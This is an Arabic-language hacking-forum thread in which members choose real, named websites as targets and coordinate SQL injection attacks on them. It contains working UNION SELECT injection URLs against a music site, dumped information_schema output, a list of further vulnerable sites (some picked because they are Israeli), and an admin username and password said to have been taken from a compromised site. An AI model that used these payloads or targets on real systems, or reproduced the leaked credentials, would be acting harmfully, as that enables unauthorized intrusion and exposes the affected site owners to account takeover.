غرفة حقن قواعد البيانات {غرفة Sql }

[TIKTAKram]

جاري حقن الهدف الجديد

للأسف سيرفر الموقع كثير ثقيل :(

يعني كل ما تدخل شيء تنتظر 5 دقائق

جاري ...!

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة Syst3m-32 جاري حقن الهدف الجديد للأسف سيرفر الموقع كثير ثقيل :( يعني كل ما تدخل شيء تنتظر 5 دقائق جاري ...!

[align=center]احقنو بسرعة...
وليك عشر ايميلات مخترقة
^^
انا راح انتظرك
تحياتي[/align]

[TIKTAKram]

راح أترك الموقع للأعضاء

و الله العظيم ثقيل جدا جدا

ليس النت هي الثقيلة و إنما السيرفر المرفوع عليه الموقع

بالتوفيق

[medoo_mohamed]

اقتباس المشاركة الأصلية كتبت بواسطة Master vbspiders [align=center]المعلومات الخاصة بالدخول صحيحة 100% لكن هذا الموقع غريب شوي يعني الموقع فيه تقريبا 100 لوحة دخول وكلهم تقريبا لمن تفتحهم يطلع عامللهم تصريح للدخول... لكن انا لقيت هاي الصفحات : http://www.conflictanddevelopment.org/checkuser.php http://www.conflictanddevelopment.org/myadmin/ http://www.conflictanddevelopment.org/logout/index.php وطبعا هي هاي اصلا مش لوحات للدخول هاي مجرد تجربة يعني مثلا الرابط الاول هو فقط تجربة للعضوية لا دخول والثاني هو دخول خطا من الاصل والثالث هو تسجيل خروج وهاي كلها ما بتفيد لازم نتخلص من التصريح الي موجود على باقي الصفحات مثل هاي : http://www.conflictanddevelopment.org/log-in.asp عموما هذا الهدف الجديد : http://www.estaciontierra.com/artist...sta.php?id=201 بالتوفيق تحياتي [/align]

هذه هى الجداول والاعمدة الخاصة بالموقع لكن عند البحث عن عمود اليوزر والباص يكون غير موجود بالاسم المتداول

وعند استدعاء اى اعمدة فالموقع لا يستجيب

كود PHP:

CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema,
COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAU | Estacion Tierra Mondomix | Musicas del Mundo

COLLATIONS:COLLATION_NAME:information_schema,
COLLATIONS:CHARACTER_SET_NAME:information_schema,
COLLATIONS:ID:information_schema,
COLLATIONS:IS_DEFAULT:information_schema,
COLLATIONS:IS_COMPILED:information_schema,
COLLATIONS:SORTLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

CHARACTER_SETS:CHARACTER_SET_NAME:information_schema,
CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema,
CHARACTER_SETS:DESCRIPTION:information_schema,
CHARACTER_SETS:MAXLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo

PROFILING:QUERY_ID:information_schema,
PROFILING:SEQ:information_schema,
PROFILING:STATE:information_schema,
PROFILING:DURATION:information_schema,
PROFILING:CPU_USER:information_schema,
PROFILING:CPU_SYSTEM:information_schema,
PROFILING:CONTEXT_VOLUNTARY:information_schema,
PROFILING:CONTEXT_INVOLUNTARY:information_schema,
PROFILING:BLOCK_OPS_IN: | Estacion Tierra Mondomix | Musicas del Mundo 


[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة medoo_mohamed هذه هى الجداول والاعمدة الخاصة بالموقع لكن عند البحث عن عمود اليوزر والباص يكون غير موجود بالاسم المتداول وعند استدعاء اى اعمدة فالموقع لا يستجيب كود PHP: CHARACTER_SETS:CHARACTER_SET_NAME:information_schema, CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema, CHARACTER_SETS:DESCRIPTION:information_schema, CHARACTER_SETS:MAXLEN:information_schema, COLLATIONS:COLLATION_NAME:information_schema, COLLATIONS:CHARACTER_SET_NAME:information_schema, COLLATIONS:ID:information_schema, COLLATIONS:IS_DEFAU | Estacion Tierra Mondomix | Musicas del Mundo COLLATIONS:COLLATION_NAME:information_schema, COLLATIONS:CHARACTER_SET_NAME:information_schema, COLLATIONS:ID:information_schema, COLLATIONS:IS_DEFAULT:information_schema, COLLATIONS:IS_COMPILED:information_schema, COLLATIONS:SORTLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo CHARACTER_SETS:CHARACTER_SET_NAME:information_schema, CHARACTER_SETS:DEFAULT_COLLATE_NAME:information_schema, CHARACTER_SETS:DESCRIPTION:information_schema, CHARACTER_SETS:MAXLEN:information_schema | Estacion Tierra Mondomix | Musicas del Mundo PROFILING:QUERY_ID:information_schema, PROFILING:SEQ:information_schema, PROFILING:STATE:information_schema, PROFILING:DURATION:information_schema, PROFILING:CPU_USER:information_schema, PROFILING:CPU_SYSTEM:information_schema, PROFILING:CONTEXT_VOLUNTARY:information_schema, PROFILING:CONTEXT_INVOLUNTARY:information_schema, PROFILING:BLOCK_OPS_IN: | Estacion Tierra Mondomix | Musicas del Mundo

[align=center]بالنسبة للاسماء الخاصة بعمود الباس واليوزر اي فعلا هي مش متواجدة بالاسم الاعتيادي...
بس الموقع لمن جربت افتح احد العواميد فتحت عادي وهذا المثال :

كود PHP:

http://www.estaciontierra.com/artistas/artista.php?id=-201+union+select+1,artista,3,4,5,6,7,8,9,10,11,12,13,14+from+artistas-- 


لي عودة مرة ثانية باذن الله...
تحياتي
[/align]

[DeadTerrorist]

ايه معاك الحق اخي و انا كنت فقط امزح معاك ههههههه

[medoo_mohamed]

موقع لسكربت اسرائيلى مصاب بثغرة السيكول ومعظم المواقع المركب عليها السكربت مواقع اسرائيلية

http://flexible.co.il/services_cat.asp?ccategory=11%27

ننتظر ممن لهم الخبرة فى مايكروسوفت اكسس

[medoo_mohamed]

نعم لكن عند استخدام الامر concat على اى اعمدة لا يستجيب الموقع لامر عرض ما بداخل الاعمدة وهذا ما اقصد

مثلا

كود PHP:

http://www.estaciontierra.com/artistas/artista.php?id=-201%20UNION%20SELECT%201,group_concat%28CHARACTER_SET_NAME,0x3a,MAXLEN%29,3,4,5,6,7,8,9,10,11,12,13,14+from+CHARACTER_SETS-- 


لا تستجيب

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة medoo_mohamed نعم لكن عند استخدام الامر concat على اى اعمدة لا يستجيب الموقع لامر عرض ما بداخل الاعمدة وهذا ما اقصد مثلا كود PHP: http://www.estaciontierra.com/artistas/artista.php?id=-201%20UNION%20SELECT%201,group_concat%28CHARACTER_SET_NAME,0x3a,MAXLEN%29,3,4,5,6,7,8,9,10,11,12,13,14+from+CHARACTER_SETS--  لا تستجيب

[align=center]هو بيقول :

اقتباس SQL server reply: Table 'estacion_estaciontierra.CHARACTER_SETS' doesn't exist

يعني عمبيقول العمود مش موجود...
انت متاكد من هذا العمود ؟


[/align]

[DeadTerrorist]

انا اظن ان ذلك السكرتب فقط لتجربة في ذلك الموقع لا غير او ان الحماية كتييرة عليه

[Master vbspiders]

[align=center]تم تغير الهدف...
هذا الهدف الجديد : http://www.araob.com/news.php?id=1204

ملاحضة : الي يحقن الموقع لا يغير الاندكس ولا الباس ولا يغير اي شي بالموقع لانه موقع عربي..
نحن راح نحقن القاعدة وبعدها راح نراسل الادارة بخصوص الثغرة والترقيع
تحياتي


[/align]

[Master vbspiders]

[align=center]موقع قناة غنوة مصاب :
http://www.ginwah.com/default.asp?peagSh=CatPage&ID=5
تحياتي

[/align]

[TIKTAKram]

اقتباس تم تغير الهدف... هذا الهدف الجديد : http://www.araob.com/news.php?id=1204 ملاحضة : الي يحقن الموقع لا يغير الاندكس ولا الباس ولا يغير اي شي بالموقع لانه موقع عربي.. نحن راح نحقن القاعدة وبعدها راح نراسل الادارة بخصوص الثغرة والترقيع تحياتي

ما بعرف إذ كانت الثغرة مرقعة أو شو ! لكن هذا الموقع لم أستطع حقنه

يا غالي أنت المشرف على هذا الموضوع لازم تضع مواقع ( هدف ) أنت حقنته من قبل

لا تقم بوضع موقع مستحيل حقنه ( لو كان صعب عادي )

لأنو هكذا المبتدئين راح يكرهوا الحقن بسرعة و يملوا منه يا غالي

إن شاء الله تتقبل رأيي و هذا هدف هدية لك :

 http://www.talkeetnachamber.org/news.php?id=158

من يا ترى لي يحقنه الأول ؟؟ هو سهل بس يبغى شوي ذكاء

و أي مساعدة أنا هنا

بالتوفيق

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة Syst3m-32 ما بعرف إذ كانت الثغرة مرقعة أو شو ! لكن هذا الموقع لم أستطع حقنه يا غالي أنت المشرف على هذا الموضوع لازم تضع مواقع ( هدف ) أنت حقنته من قبل لا تقم بوضع موقع مستحيل حقنه ( لو كان صعب عادي ) لأنو هكذا المبتدئين راح يكرهوا الحقن بسرعة و يملوا منه يا غالي إن شاء الله تتقبل رأيي و هذا هدف هدية لك : http://www.talkeetnachamber.org/news.php?id=158 من يا ترى لي يحقنه الأول ؟؟ هو سهل بس يبغى شوي ذكاء و أي مساعدة أنا هنا بالتوفيق

[align=center]الثغرة تم ترقيعها يا غالي
+
كلامك على عيني وعلى راسي
بس انا فعلا حقنت الموقع قبل ما وضعتو على قائمة الاهداف الجديدة
وهاي معلومات الادمن
UserName : alseadi
Password : wfahad12

شكرا على المشاركة معانا وننتظر حقن الهدف الجديد..
تحياتي

[/align]

[darkman.dz]

Syst3m-32
جاري يا بطل